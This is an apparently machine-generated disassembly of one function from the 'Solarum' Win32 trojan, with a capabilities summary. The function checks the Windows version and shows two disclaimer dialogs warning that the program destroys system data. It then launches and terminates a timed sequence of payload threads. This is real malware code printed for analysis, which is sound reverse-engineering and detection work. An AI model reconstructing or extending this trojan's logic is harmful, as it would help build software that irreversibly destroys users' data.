Function at 0x4070c0
Capabilities:
Check os version
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x421014]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40770d
cmp dword [ebp - 0x11c], 5
push ebx
mov ebx, dword [sym.imp.USER32.dll_MessageBoxW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x407635
cmp dword [ebp - 0x118], 1
jne 0x40770a
push 0x34
push str.They_know_who_I_am__but_they_dont_know_where_Im_hiding...
push str.You_have_just_launched_a_copy_of_the_Solarum_Win32_Trojan__specifically_created_to_be_showcased_on_the_Eric_Parker_Cyber_Security_YouTube_channel_on_a_virtual_machine_for_entertainment_and_educational_purposes._nThis_software_has_the_full_capability_to_destroy_and_overwrite_the_critical_data_of_this_system._nSolarum_creates_loud_sounds_and_flashing_lights._Starting_this_software_will_lead_to_irreversible_consequences_on_the_data_of_this_system._nThe_creator__Lyrik__is_not_responsible_for_any_unwanted_data_loss_caused_by_any_misuse_of_this_software__reverse_engineering_of_this_software__and_subsequent_artificial_removal_of_this_disclaimer._nIf_you_understand_the_functionality_and_capabilities_of_this_software_and_agree_to_these_terms_and_conditions__click_Yes._Otherwise__choose_No.
push 0
call ebx
cmp eax, 7
je 0x407675
cmp eax, 6
jne 0x407635
push 0x34
push str.solarum__32_bit_
push str.This_is_the_second_and_final_warning._If_you_proceed__you_acknowledge_and_accept_full_responsibility_for_any_damage_caused_to_this_device._nDisregarding_this_disclaimer_without_understanding_Solarums_capabilities_will_result_in_unwanted__irreversible_damage_to_this_machine._nDo_you_wish_to_continue_
push 0
call ebx
cmp eax, 7
je 0x407675
call fcn.00401c30
push 0xdac
call edi
push 0
push 0
push 0
push 0x405370
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4025d0
push 0
push 0
call esi
push 0x2710
mov ebx, eax
call edi
push 0x88b8
call edi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x4056b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403170
push 0
push 0
call esi
push 0x2710
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x403330
push 0
push 0
call esi
push 0x88b8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4059c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403470
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4035e0
push 0
push 0
mov edi, eax
call esi
push 0x4e20
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push edi
call ebx
push 0
push esi
call ebx
mov esi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405ce0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4037c0
push 0
push 0
call edi
push 0x4e20
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call ebx
push 0
push 0
push 0
call esi
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403980
push 0
push 0
call eax
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push 0
push edi
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x406000
push 0
push 0
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x403af0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402c10
push 0
push 0
mov esi, eax
call edi
push 0
push 0
push 0
push 0x4036c0
push 0
push 0
mov ebx, eax
call edi
push 0x2328
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403680
push 0
push 0
call eax
push 0x61a8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push esi
call ebx
push 0
push edi
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403da0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403cf0
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x406340
push 0
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call eax
push 0
push 0
push 0
push 0x4064b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x406620
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4067a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4010c0
push 0
push 0
call esi
push 0x1388
mov dword [ebp - 0x124], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401220
push 0
push 0
call esi
push 0x1388
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push edi
call eax
push 0
push 0
push 0
push 0x403ef0
push 0
push 0
call esi
push 0x1388
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x404040
push 0
push 0
call esi
push 0x88b8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x124]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x406a60
push 0
push 0
call edi
push 0
push 0
push 0
push 0x406bb0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x406cf0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x404240
push 0
push 0
call edi
push 0x2710
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x404650
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4044d0
push 0
push 0
mov esi, eax
call edi
push 0x2710
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call esi
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
call esi
push 0
push edi
call esi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x406e30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4047c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4048f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404a70
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404c10
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x88b8
call edi
push 0
push 0
push 0
push 0x406fb0
push 0
push 0
call esi
push 0x3e8
call edi
mov ebx, dword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [ebp - 0x11c], 6
jb 0x40770a
push 0x34
push str.They_know_who_I_am__but_they_dont_know_where_Im_hiding...
push str.You_have_just_launched_a_copy_of_the_Solarum_Win32_Trojan__Specifically_created_to_be_showcased_on_the_Eric_Parker_Cyber_Security_YouTube_channel_on_a_virtual_machine_for_entertainment_and_educational_purposes._nThis_software_has_the_full_capability_to_destroy_and_overwrite_the_critical_data_of_this_system._nSolarum_creates_loud_sounds_and_flashing_lights._Starting_this_software_will_lead_to_irreversible_consequences_on_the_data_of_this_system._nThe_creator__Lyrik_is_not_responsible_for_any_unwanted_data_loss_caused_by_any_misuse_of_this_software_or_reverse_engineering_of_this_software_and_subsequent_artificial_Removal_of_this_disclaimer._nIf_you_understand_the_functionality_and_capabilities_of_this_software_and_agree_to_these_terms_and_conditions._Click_Yes__Otherwise_Choose_No.
push 0
call ebx
cmp eax, 7
je 0x407675
cmp eax, 6
jne 0x40770a
push 0x34
push str.Solarum__32_bit_
push str.This_is_the_second_and_last_warning__if_you_continue__you_remember_that_you_take_full_responsibility_for_any_damage_caused_to_this_device._nIgnoring_this_disclaimer_without_the_knowledge_of_Solarums_capabilities_will_cause_unwanted_irreversible_damage_to_this_machine.__nDo_you_want_to_continue_
push 0
call ebx
cmp eax, 7
jne 0x40768a
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408024
mov esp, ebp
pop ebp
ret 0x10
call fcn.00402140
push 0xbb8
call edi
push 0
push 0
push 0
push 0x407060
push 0
push 0
call esi
push 0
push 0
push 0
push 0x407090
push 0
push 0
call esi
push 0x1388
call edi
push 0
push 0
push 0
push 0x4050a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404da0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404f50
push 0
push 0
call esi
push 0x3a98
call edi
push 0
push 0
push 0
push 0x406fb0
push 0
push 0
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408024
mov esp, ebp
pop ebp
ret 0x10